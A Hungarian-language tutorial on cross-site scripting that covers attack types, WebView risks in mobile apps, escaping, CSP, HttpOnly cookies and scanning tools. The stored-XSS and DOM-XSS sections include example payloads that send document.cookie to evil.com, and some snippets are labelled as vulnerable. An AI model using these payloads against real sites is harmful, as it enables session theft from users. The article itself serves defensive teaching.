XSS — mi ez, támadástípusok és védelmi módszerek

Mi az XSS?

XSS (Cross-Site Scripting) — olyan sebezhetőség, amely lehetővé teszi a támadó számára, hogy JavaScript kódot illesszen be egy weboldalba, amely aztán az áldozat böngészőjében fut le. A böngésző betölti az oldalt egy megbízható webhelyről, és a beillesztett szkriptet ugyanazokkal a jogosultságokkal hajtja végre, mint a webhely legitim kódját. Ez hozzáférést biztosít a támadónak a sütikhez, session storage-hoz, az oldal DOM-fájához, és lehetőséget ad kérések küldésére az áldozat nevében. Az XSS-sebezhetőségek akkor keletkeznek, amikor az alkalmazás a felhasználói adatokat megfelelő escape-elés vagy érvényesítés nélkül illeszti be egy HTML-oldalba.

Az XSS története és aktualitása

A Cross-Site Scripting kifejezés először 2000-ben jelent meg a Microsoft Security Bulletinben. Az elmúlt 25 évben az XSS nem veszített aktualitásából: a HackerOne (2025) adatai szerint az XSS a platformon regisztrált összes sebezhetőség körülbelül 22%-át teszi ki. Az XSS életképességének oka a felhasználói adatok összes belépési pontjának ellenőrzési komplexitása. Bármely beviteli mező, URL-paraméter, HTTP-kérés fejléc vagy fájlnév támadási vektorrá válhat, ha az adatok feldolgozás nélkül jelennek meg a HTML-kódban.

Milyen károkat okoz az XSS?

Az XSS-támadások munkamenet-sütik ellopásához vezethetnek, ami lehetővé teszi a támadó számára, hogy jelszó nélkül jelentkezzen be az áldozat fiókjába. További következmények: átirányítás adathalász oldalakra, az oldal tartalmának helyettesítése, személyes adatok ellopása, rosszindulatú szoftver telepítése (drive-by download). 2023-ban egy XSS-támadás a Salesforce Community Cloud platformon több ezer vállalati ügyfél adatait érintette, bizonyítva, hogy még a nagy platformok sincsenek védve ettől a sebezhetőségtől.

XSS-támadások típusai

Az XSS osztályozása a támadásokat három fő típusra osztja a rosszindulatú kód kézbesítési módja szerint. Minden típus más védelmi megközelítést igényel: a Stored XSS-t az adatbázisból történő kimenet escape-elésével, a Reflected-et az URL-paraméterek escape-elésével, a DOM-based-t a DOM-API-val való biztonságos munkával blokkolják. A különbség megértése a hatékony biztonsági stratégia alapja.

Stored XSS (állandó)

Az XSS legveszélyesebb típusa. A támadó szkriptet illeszt be azokba az adatokba, amelyeket a szerver az adatbázisban tárol és minden oldalbetöltéskor megjelenít. Tipikus vektor — a hozzászólás mező: a támadó közzétesz egy hozzászólást a következővel: <script>document.location='https://evil.com/?c='+document.cookie</script>. Minden felhasználó, aki betölti az oldalt ezzel a hozzászólással, elküldi a sütijét a támadónak. A Stored XSS nem igényel semmilyen cselekvést az áldozattól, csak az oldal meglátogatását — ez teszi különösen veszélyessé a közösségi hálózatok, fórumok és blogok számára.

Reflected XSS (visszavert)

A rosszindulatú szkript a HTTP-kérésben (általában URL-paraméterben) jut el, és azonnal visszaverődik a szerver által a válaszban. A támadó egy https://example.com/search?q=<script>...</script> formájú linket hoz létre, és terjeszti azt adathalászat, közösségi hálózatok vagy e-mail útján. Az áldozat a linkre kattintva egy olyan oldalt kap, ahol a beírt keresőkérdés (szkript) escape-elés nélkül jelenik meg. A Reflected XSS szociális manipulációt igényel — az áldozatnak rá kell kattintania a linkre, ami csökkenti, de nem szünteti meg a kockázatot.

DOM-based XSS

Ellentétben a Stored és Reflected típusokkal, a DOM-based XSS nem igényli az adatok szerverre küldését. A sebezhetőség akkor keletkezik, amikor a kliens oldali JavaScript a felhasználói adatokat URL-ből, document.referrer-ből, postMessage-ből vagy localStorage-ból biztonságos feldolgozás nélkül illeszti be a DOM-ba. Például a document.getElementById('output').innerHTML = location.hash.substring(1) formájú kód bármilyen HTML-t és szkriptet végrehajt az URL-töredékből (#<img onerror='...'>). A DOM-based XSS a legnehezebben észlelhető, mert a szerver soha nem kapja meg a rosszindulatú payload-ot — az teljes egészében a kliens oldalon kerül feldolgozásra.

// Példa DOM-based XSS-re (SÉRÜLÉKENY KÓD)
// Ha userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — veszélyes: nyers HTML-t illeszt be
document.write('<div>' + userInput + '</div>');

// BIZTONSÁGOS ALTERNATÍVA — használja a textContent-et
document.getElementById('output').textContent = userInput;

Hogyan működik az XSS-támadás?

Az XSS-támadás a web alapvető tulajdonságát használja ki: a böngésző végrehajtja a megbízható doménről kapott JavaScriptet. Ha a támadó talál egy módot arra, hogy beillessze a kódját a szerver HTML-válaszába, a böngésző azt ugyanazokkal a jogosultságokkal hajtja végre, mint a legitim kódot. A támadás három fázison megy keresztül: a rosszindulatú kód beillesztése a tartalomba, a tartalom eljuttatása az áldozat böngészőjébe, és a kód végrehajtása hozzáféréssel a DOM-hoz, sütikhez és storage-hoz.

Beillesztési fázis

A támadó megtalálja a belépési pontot — egy mezőt, URL-paramétert vagy fejlécet, amelynek értékét a szerver escape-elés nélkül illeszti be a HTML-válaszba. Tipikus belépési pontok: keresőmezők, hozzászólás mezők, felhasználónév, avatar URL, sütifájlok, HTTP-fejlécek (User-Agent, Referer). A modern keretrendszerek (React, Angular, Vue) automatikusan escape-elik a kimenetet, de a fejlesztők kikapcsolhatják az escape-elést a dangerouslySetInnerHTML, bypassSecurityTrustHtml vagy v-html segítségével.

Kézbesítési fázis

A Reflected XSS esetében a támadó terjeszti a rosszindulatú linket. A Stored XSS esetében elegendő tartalmat közzétenni a célwebhelyen, és az oldal minden látogatója áldozattá válik. A DOM-based XSS az oldal betöltésekor aktiválódik egy adott URL-töredékkel. Mindhárom fázis végrehajtódhat automatikusan: ha az XSS-t egy reklámbannerben (harmadik fél tartalma) fedezik fel, a támadás a webhely összes felhasználóját érinti, amíg a bannert ki nem kapcsolják.

// Példa Reflected XSS-re keresésben (SÉRÜLÉKENY BACKEND)
// A q paraméter escape-elése helyett a szerver HTML-be illeszti

// Express.js — sérülékeny kezelő:
app.get('/search', (req, res) => {
    const query = req.query.q; // felhasználói bevitel
    res.send(`<h1>Results for: ${query}</h1>`);
});

// BIZTONSÁGOS VÁLTOZAT — escape-elés encodeURI vagy sablonmotor segítségével:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS mobilalkalmazásokban

A mobilalkalmazások is ki vannak téve XSS-támadásoknak, bár kisebb mértékben, mint a webhelyek. A fő vektor a WebView és a hibrid keretrendszerek (Cordova, Capacitor, React Native WebView-val). Ha az alkalmazás webes tartalmat tölt be a WebView-ba — különösen felhasználói tartalmat (HTML-e-mailek, cikkek, üzenetek) — az XSS sebezhetőség a JavaScript-hídon keresztül native funkciókhoz való hozzáféréssel járó JavaScript végrehajtásához vezethet az alkalmazáson belül.

XSS Android WebView-ban

Az Android WebView alapértelmezés szerint végrehajtja a JavaScriptet. Ha az alkalmazás HTML karakterláncot tölt be a loadDataWithBaseURL() segítségével, vagy felhasználói tartalmat jelenít meg, egy XSS-támadás hozzáférést biztosíthat a támadónak a JavaScript-interfészhez (addJavascriptInterface). A Google betiltotta a @JavascriptInterface használatát az API < 17 esetén, de a régi alkalmazásokban még mindig található örökölt kód. Védelem: kapcsolja ki a JavaScriptet a WebView-ban, ha nincs rá szükség, és használja a biztonságos böngészést.

XSS React Native-ben és Flutter-ben

A React Native nem használ WebView-t a felhasználói felülethez — a komponensek natív nézetekben renderelődnek. Azonban a HTML react-native-webview vagy rich-text komponenseken keresztüli megjelenítésekor az XSS-kockázat visszatér. A Flutter saját renderelő motort (Skia) használ, és nem támogatja a JavaScriptet a HTML widgetekben (a flutter_html nem hajtja végre a script elemeket), de a WebView bővítmények (webview_flutter) ugyanúgy sebezhetőek, mint a natív WebView-k. Legjobb gyakorlat — soha ne adjon át nem ellenőrzött HTML-t a WebView-nak.

• Kapcsolja ki a JavaScriptet a WebView-ban, ha a tartalom nem igényel interaktivitást
• Használjon CSP-fejléceket a szkriptforrások korlátozásához a WebView-ban
• Szűrje ki a HTML-t a WebView-ba töltés előtt: távolítsa el a script elemeket és eseménykezelőket
• Ne használja az addJavascriptInterface-t Androidon a bejövő adatok szigorú ellenőrzése nélkül

// WebView biztonságos beállítása Androidon
val webView = findViewById<WebView>(R.id.webview)

// Kikapcsoljuk a JavaScriptet, ha nincs szükség interaktivitásra
webView.settings.javaScriptEnabled = false

// Mentisítjük a HTML-t a betöltés előtt
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS megelőzési módszerek

Az XSS elleni védelem három elven alapul: ne bízz a felhasználói bevitelben, escape-elj a kimenet előtt, használj Content Security Policy-t. A kimenet escape-elése (output encoding) — a legfontosabb módszer: a felhasználótól kapott összes adatot escape-elni kell a HTML-be, JavaScript-be, CSS-be vagy URL-be illesztés előtt. A modern sablonmotorok (Twig, Handlebars, JSX, Blade) ezt automatikusan megteszik, ha a fejlesztő nem kapcsolja ki az escape-elést speciális módszerekkel.

Kontextuális escape-elés

Az escape-elés az adatok beillesztési kontextusától függ. HTML-kontextusban a <, >, &, idézőjelek escape-elődnek. JavaScript-kontextusban a visszaperjelek, , </script> escape-elődnek. CSS-kontextusban — a vezérlő karakterek. URL-kontextusban — az URL-kódolás. A kontextushiba — például egy HTML-escape-elt karakterlánc beillesztése egy onclick attribútumba — nem véd az XSS ellen, mivel az onclick a JavaScript-kontextusban fut, ahol másfajta escape-elésre van szükség.

Content Security Policy (CSP)

CSP — egy HTTP-fejléc, amely korlátozza azokat a forrásokat, amelyekről a böngésző szkripteket, stílusokat és egyéb erőforrásokat tölthet be. A szigorú CSP (unsafe-inline és unsafe-eval nélkül) blokkolja az összes inline szkript végrehajtását, beleértve az XSS-vektorokat is. A Google Security Blog (2025) adatai szerint a CSP-vel rendelkező webhelyek az XSS-támadások 95%-át blokkolják. Példa: a Content-Security-Policy: default-src 'self'; script-src 'self' minden külső és inline szkriptet megtilt. A CSP nem véd a Stored XSS ellen, ha a szkript ugyanarról a doménről töltődik be, de ez további erőfeszítést igényel a támadótól.

HttpOnly és Secure sütik

A HttpOnly jelző beállítása a sütik számára megakadályozza a JavaScripten keresztüli hozzáférést (document.cookie), ami blokkolja a munkamenet-sütik ellopását XSS-en keresztül. A Secure jelző garantálja, hogy a süti csak HTTPS-en keresztül kerül továbbításra. A HttpOnly + Secure + SameSite=Lax kombinációja gyakorlatilag lehetetlenné teszi a munkamenet-sütik ellopását XSS-en keresztül. Az XSS azonban továbbra is végrehajthat műveleteket a felhasználó nevében (például kéréseket küldhet), ezért a HttpOnly nem csodaszer, hanem az átfogó védelem része.

Eszközök az XSS észlelésére

Az XSS-re való rendszeres tesztelés — a biztonságos fejlesztés CI/CD pipeline-jának kötelező része. Az automatizált szkennerek az XSS-sebezhetőségek akár 80%-át is megtalálják, a többi manuális pentestet igényel. A legjobb megközelítés a SAST-elemzés (statikus), a DAST-szkennelés (dinamikus) és a kód áttekintésének kombinációja, amely a felhasználói adatok belépési pontjaira összpontosít.

• OWASP ZAP — ingyenes DAST-szkenner, automatikusan megtalálja az XSS-t a webalkalmazásokban
• Burp Suite Professional — fejlett eszköz Active Scan és Intruder funkciókkal XSS-hez
• XSStrike — specializált XSS-szkenner payload generálással
• ESLint-plugin-security — React/JSX statikus elemzése veszélyes mintákra
• Google Observatory — CSP-fejlécek és XSS-szel kapcsolatos konfigurációk ellenőrzése

Mobilalkalmazások esetében az XSS-tesztelés magában foglalja a WebView elemzését: a JavaScript-interfészek ellenőrzését, az URL-sémák feldolgozását és a HTML loadDataWithBaseURL-be való átadását. Javasoljuk továbbá a postMessage feldolgozásának tesztelését hibrid alkalmazásokban, és annak ellenőrzését, hogy milyen adatok kerülnek átadásra a JavaScript-hídon keresztül. Használjon emulátort proxyval (Burp Suite) a mobilalkalmazás forgalmának elfogásához és módosításához.